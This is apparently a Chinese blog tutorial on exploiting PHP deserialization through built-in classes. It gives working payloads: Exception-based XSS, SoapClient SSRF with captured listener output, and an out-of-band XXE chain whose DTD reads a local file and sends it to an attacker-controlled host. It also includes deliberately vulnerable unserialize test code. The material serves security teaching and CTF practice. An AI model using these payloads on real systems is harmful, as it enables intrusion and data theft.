PHP反序列化原生类漏洞利用

PHP反序列化原生类

原生类

概念

PHP原生类是指PHP语言内置的、无需额外安装或引入即可直接使用的类(达到条件自动触发,无需开发者自己编写)。这些类是PHP核心功能的一部分,提供了各种基础功能的面向对象实现。

PHP原生类提供了强大的内置功能,开发者可以直接使用这些类而无需重新发明轮子。

利用条件

1、有触发魔术方法(且未编写魔术方法)

2、魔术方法有利用类(自动触发原生类)

3、部分自带类拓展开启(如SoapClient类,需开启Soap 扩展)

常见的原生类

执行如下代码,可以列出原生类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__construct',
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

执行结果,未截全

常见的触发漏洞的原生类

1、使用Error/Exception类进行XSS
2、使用SoapClient类进行SSRF
3、使用SimpleXMLElement类进行xxe

Error::__toString/Exception::__toString

Error/Exception类是php的一个内置类,用于自动自定义一个Error,在php5/php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。

Error 内置类:适用于php7版本,在开启报错的情况下

Exception 内置类:适用于php5、7版本,开启报错的情况下

测试代码
<?php
$a = unserialize($_GET['xss']); // 反序列化用户可控数据
echo $a;                        // 触发 __toString()
?>
  1. 目标代码存在反序列化漏洞,并通过 echo 触发对象的 __toString() 方法,创作者未定义 __toString() 方法,自动触发 原生类 Exception
  2. PHP 原生类 Exception 在转为字符串时会输出其 message 属性(未转义),而攻击者可以完全控制message属性,导致 XSS。
生成恶意序列化数据
<?php
$a = new Exception("<script>alert('xss')</script>"); 
echo urlencode(serialize($a));
?>
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A41%3A%22D%3A%5CphpStudy%5CPHPTutorial%5CWWW%5C76%5Cxsspop.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A4%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
pop利用结果

目标反序列化后,echo $a 会调用 Exception__toString(),直接输出 <script>alert('xss')</script>触发xss漏洞。

漏洞链

unserialize → 构造 Exception 对象 → echo 触发 __toString() → 输出未转义的 message → XSS。

Exception::__toString与__toString的区别

SoapClient::__call

使用该类时需开启Soap 扩展,打开php.ini配置文件,将extension=php_soap.dll去掉即可。

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

该类的构造函数如下:
public SoapClient :: SoapClient(mixed $wsdl [array $options ])

第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

测试代码
<?php
$s = unserialize($_GET['ssrf']);// 反序列化用户输入
$s->a();                        // 调用不存在的方法,触发SoapClient::__call
?>
  • 漏洞代码 unserialize($_GET['ssrf']) 反序列化用户控制的输入
  • 反序列化后对象 $s 被调用不存在的方法 a() ($s->a()),触发__call 魔术方法,创作者未定义__call方法,所以触发SoapClient原生类 __call 魔术方法
  • SoapClient原生类__call 会构造一个 SOAP 请求并发送到初始化时配置的 location
生成恶意序列化数据
<?php
$a = new SoapClient(null,array('location'=>'http://10.10.220.17:2222/aaa', 'uri'=>'http://10.10.220.17:2222'));
$b = serialize($a);
echo $b;
?>
O:10:"SoapClient":3:{s:3:"uri";s:24:"http://10.10.220.17:2222";s:8:"location";s:28:"http://10.10.220.17:2222/aaa";s:13:"_soap_version";i:1;}
  • 第一个参数为 null 表示不使用 WSDL
  • location 指定请求发送的目标
  • uri 是 SOAP 命名空间
结果

监听2222端口看是否收到消息

E:\>ncat.exe -l -p 2222
POST /aaa HTTP/1.1
Host: 10.10.220.17:2222
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.5.38
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://10.10.220.17:2222#a"
Content-Length: 385

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://10.10.220.17:2222" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
  • 当调用任何不存在的方法时,SoapClient 会:
    1. 构造 SOAP 信封(Envelope)
    2. 向 location 发送 HTTP POST 请求
    3. 在请求头中包含 SOAPAction 字段,值为 "uri#methodName"
    4. SOAPAction头(来自uri#methodName
SoapClient::__call与__call的区别

普通对象反序列化:

[unserialize] -> [调用不存在方法] -> [执行__call逻辑] -> [返回结果]

SoapClient反序列化:

[unserialize] -> [调用不存在方法] ->[未定义__call魔法常量]->[触发SoapClient::__call]-> [自动构造SOAP请求] -> [网络连接] -> [尝试解析响应]

SimpleXMLElement::__construct

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。

没有明显的 PHP 代码处理 XML,也可以利用 PHP 原生类的特性触发 XXE:

漏洞代码原理
源码
<?php   // 有XXE漏洞的简单代码示例
// 用户可控的XML输入(实际可能来自用户提交或外部URL)
$xml = <<<XML
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c://1.txt">
]>
<root>&xxe;</root>
XML;
// 危险的使用方式 - 启用了实体替换
$sxe = new SimpleXMLElement($xml, LIBXML_NOENT);
// 显示解析后的XML内容
echo "解析后的XML内容:\n";
print_r($sxe).'<br>';
// 或者将内容输出到页面
echo "\n\n文件内容已泄露:";
echo $sxe;
?>
结果

漏洞产生原因
  1. 用户可控的XML输入:攻击者可以提交包含恶意实体定义的XML
  2. 启用实体替换:使用LIBXML_NOENT常量(值为2)允许外部实体替换
  3. 未禁用外部实体加载:没有调用libxml_disable_entity_loader(true)
简单例题

CTF题型利用构造,外带

可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为**2**即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。

利用代码
<?php
$sxe=new SimpleXMLElement('http://ip/oob.xml',2,true);
$a = serialize($sxe);
echo $a;
?>

SimpleXMLElement构造函数参数:

  • 第一个参数是XML数据源(这里是一个远程URL)
  • 第二个参数2表示LIBXML_NOENT选项,这会启用实体替换
  • 第三个参数true表示第一个参数是URL而非字符串
oob.xml
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://ip/send.dtd">
%remote;
%all;
%send;
]>
send.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">
send.php

send.php用于接收外带出来的数据

<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

服务器会生成一个result.txt,就是外带出来的内容

漏洞链
用户输入恶意XML → PHP传递给SimpleXMLElement → libxml2解析器加载 → 遇到ENTITY声明 → 检查NOENT标志 → 发起外部请求/读取文件→ 内容注入到DOM树 → 返回给PHP变量
SimpleXMLElement::__construct与__construct的区别的区别

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值